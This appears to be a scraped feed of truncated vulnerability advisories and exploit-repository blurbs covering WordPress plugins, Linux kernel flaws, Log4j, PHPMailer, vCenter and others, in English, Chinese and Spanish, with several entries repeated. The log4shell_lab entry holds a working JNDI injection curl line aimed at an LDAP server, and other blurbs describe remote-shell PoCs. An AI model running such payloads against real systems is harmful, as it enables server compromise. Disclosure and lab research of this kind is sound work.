CVE-2026-77009 WatchMan-Site7 3.1.1 - 4.2.0 - Subscriber+ RCE via Debug Console

The WatchMan-Site7 WordPress plugin through 4.2.0 does not restrict access to its debugging console, which executes user-supplied PHP code, allowing any authenticated user, such as a subscriber, to run arbitrary code on the server...

CVE-2026-10821 Yoast SEO Premium < 27.6.1 - Author+ Arbitrary .htaccess Directive Injection to RCE

The Yoast SEO Premium WordPress plugin before 27.6.1 does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level...

EUVD-2026-70033

The Yoast SEO Premium WordPress plugin before 27.6.1 does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level...

CVE-2026-10821

Yoast SEO Premium WordPress plugin before 27.6.1 fails to sanitize control characters from redirect origins before writing them to the site's Apache .htaccess file when file-based redirect mode is enabled. Because the redirect-creation endpoint is accessible to users with Author-level access, an ...

CVE-2026-10821 Yoast SEO Premium < 27.6.1 - Author+ Arbitrary .htaccess Directive Injection to RCE

The Yoast SEO Premium WordPress plugin before 27.6.1 does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level...

WhatsApp-Double-Free-Vulnerability_CVE-2019-11932

WhatsApp-Double-Free-VulnerabilityCVE-2019-11932 使用 GEF-GDB 调试器对 WhatsApp 双重释放漏洞（CVE-2019-11932）的利用分析 该漏洞由研究员 Awakened 发现，并发布了该漏洞的利用 PoC。在本博客中，我将通过使用 GEF-GDB 进行动态调试，演示该利用方法的工作原理，展示如何利用其双重释放漏洞执行任意代码。...

CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ 通过 Jolokia 的远程代码执行 1. 概述 项目| 详情 ---|--- CVE ID| CVE-2026-34197 CVSS 评分| 8.8（高危） 漏洞类型| 远程代码执行（RCE） CWE| CWE-20 输入验证不当 / CWE-94 代码注入 受影响组件| Apache ActiveMQ Classic - Jolokia JMX-HTTP 桥接 受影响版本| 5.19.4 以及 6.0.0 至 6.2.2 修复版本| 5.19.4 / 6.2.3 披露日期| 2026-04-07 认证|...

kernel: net/sched: act_api: use RCU with deferred freeing for action lifecycle

A flaw was found in the Linux kernel's networking scheduler. A race condition, which is a problem that occurs when multiple operations try to access the same resource at the same time, exists when network filter operations are run concurrently. This can lead to a Use-After-Free UAF vulnerability,...

kernel: Linux kernel: Use-After-Free in net/gro due to improper handling of zerocopy skbs

A flaw was found in the Linux kernel's Generic Receive Offload GRO networking subsystem. This vulnerability occurs when skbgroreceive attempts to merge zerocopy socket buffers skbs without properly managing page reference counts, specifically when the SKBFLMANAGEDFRAGREFS flag is set. An attacker...

log4shell_lab

Laboratorio de explotación log4shell Este repositorio es una configuración de una sola línea para el laboratorio de explotación log4shell. Configura el laboratorio: docker-compose up -d Ejecuta el exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Lue...

CVE-2007-4607

CVE-2007-4607 https://joeyrideout.com/reworking-decade-old-exploit-code/...

CVE-2023-43342-Quick-CMS-Stored-XSS---Languages-Frontend

Quick CMS XSS Almacenado v6.7 Autor: Sergio Descripción: Una vulnerabilidad de Cross-Site Scripting XSS en Quick CMS v6.7 permite a un atacante local ejecutar código arbitrario mediante un script manipulado en el Frontend y backend - Páginas en el Menú de Idiomas. Vectores de ataque: Scripting. U...

exploit-CVE-2021-44228

CVE-2021-44228 – Log4j 未授权远程代码执行 关于 这是一个针对 Log4j 未授权远程代码执行漏洞 CVE-2021-44228 的概念验证漏洞利用程序。 该漏洞影响版本 2.15.0。 更多信息： https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j 贡献者 @pedrohavay 免责声明 本项目仅用于教育目的 ，不得用于违法活动或个人获利。 本项目作者不对因使用本项目材料造成的任何可能的损害负责。 演示 安装 root@kitploit...

CVE-2025-24893

Infos Este PoC primero prueba la SSTI y, si funciona, entra en un bucle y te permite ejecutar comandos de forma remota. Los comandos exec y shell hacen lo mismo actualmente. Uso Conexión root@kitploit: python3 poc.py Ejemplo Con debug establecido en False por defecto root@kitploit: python3 poc.py...

exploit-CVE-2016-10033

PHPMailer 5.2.18 Ejecución Remota de Código PHPMailer es la clase de transporte más popular del mundo, con un estimado de 9 millones de usuarios a nivel mundial. Las descargas continúan a un ritmo significativo diariamente. Usado por muchos proyectos de código abierto: WordPress, Drupal, 1CRM,...

craft-cms-RCE-CVE-2024-56145

craft-cms-RCE-CVE-2024-56145 针对 CVE-2024-56145 CraftCMS RCE 的 POC 实验环境。 漏洞描述 如果在 php.ini 中启用了 registerargcargv 选项，则 craftCMS 中存在潜在的 RCE 漏洞。这是一个 POC 实验环境，您可以在其中复现并利用该漏洞。 完整的漏洞利用步骤可在 Aesstnote Blog 找到。 实验环境搭建 您需要下载整个仓库，而不是仅下载 zip 文件，因为某些文件包含应用配置。运行 sudo ./builddocker.sh 来搭建实验环境。...

CVE-2023-6401

CVE-2023-6401 · Prueba de concepto de secuestro de DLL English | 中文 中文 ⚠️ Aviso importante: Solo para fines de investigación y educación en seguridad Prueba de concepto de la vulnerabilidad de secuestro de DLL en NotePad++ ≤ 8.1. Ejecuta código arbitrario colocando un dbghelp.dll malicioso en el...

CVE-2021-21972

CVE-2021-21972 Prueba de Concepto de Exploit para vCenter CVE-2021-21972 Crédito de investigación a: https://swarm.ptsecurity.com/unauth-rce-vmware/, http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/ Probado en objetivos vCenter VCSA tanto en Windows como en Unix. Uso Para comprobar de...

CVE-2026-20841

No se ha verificado la precisión de este método de activación del PoC, y debe considerarse solo como informativo/de referencia. CVE-2026-20841 - RCE en notepad.exe de Windows Condición de explotación: Probado en: Versión del Bloc de notas 11.2510.14.0 Paso 1: Guardar archivo Paso 2: Abrir archivo...

kernel: net/sched: act_api: use RCU with deferred freeing for action lifecycle

A flaw was found in the Linux kernel's networking scheduler. A race condition, which is a problem that occurs when multiple operations try to access the same resource at the same time, exists when network filter operations are run concurrently. This can lead to a Use-After-Free UAF vulnerability,...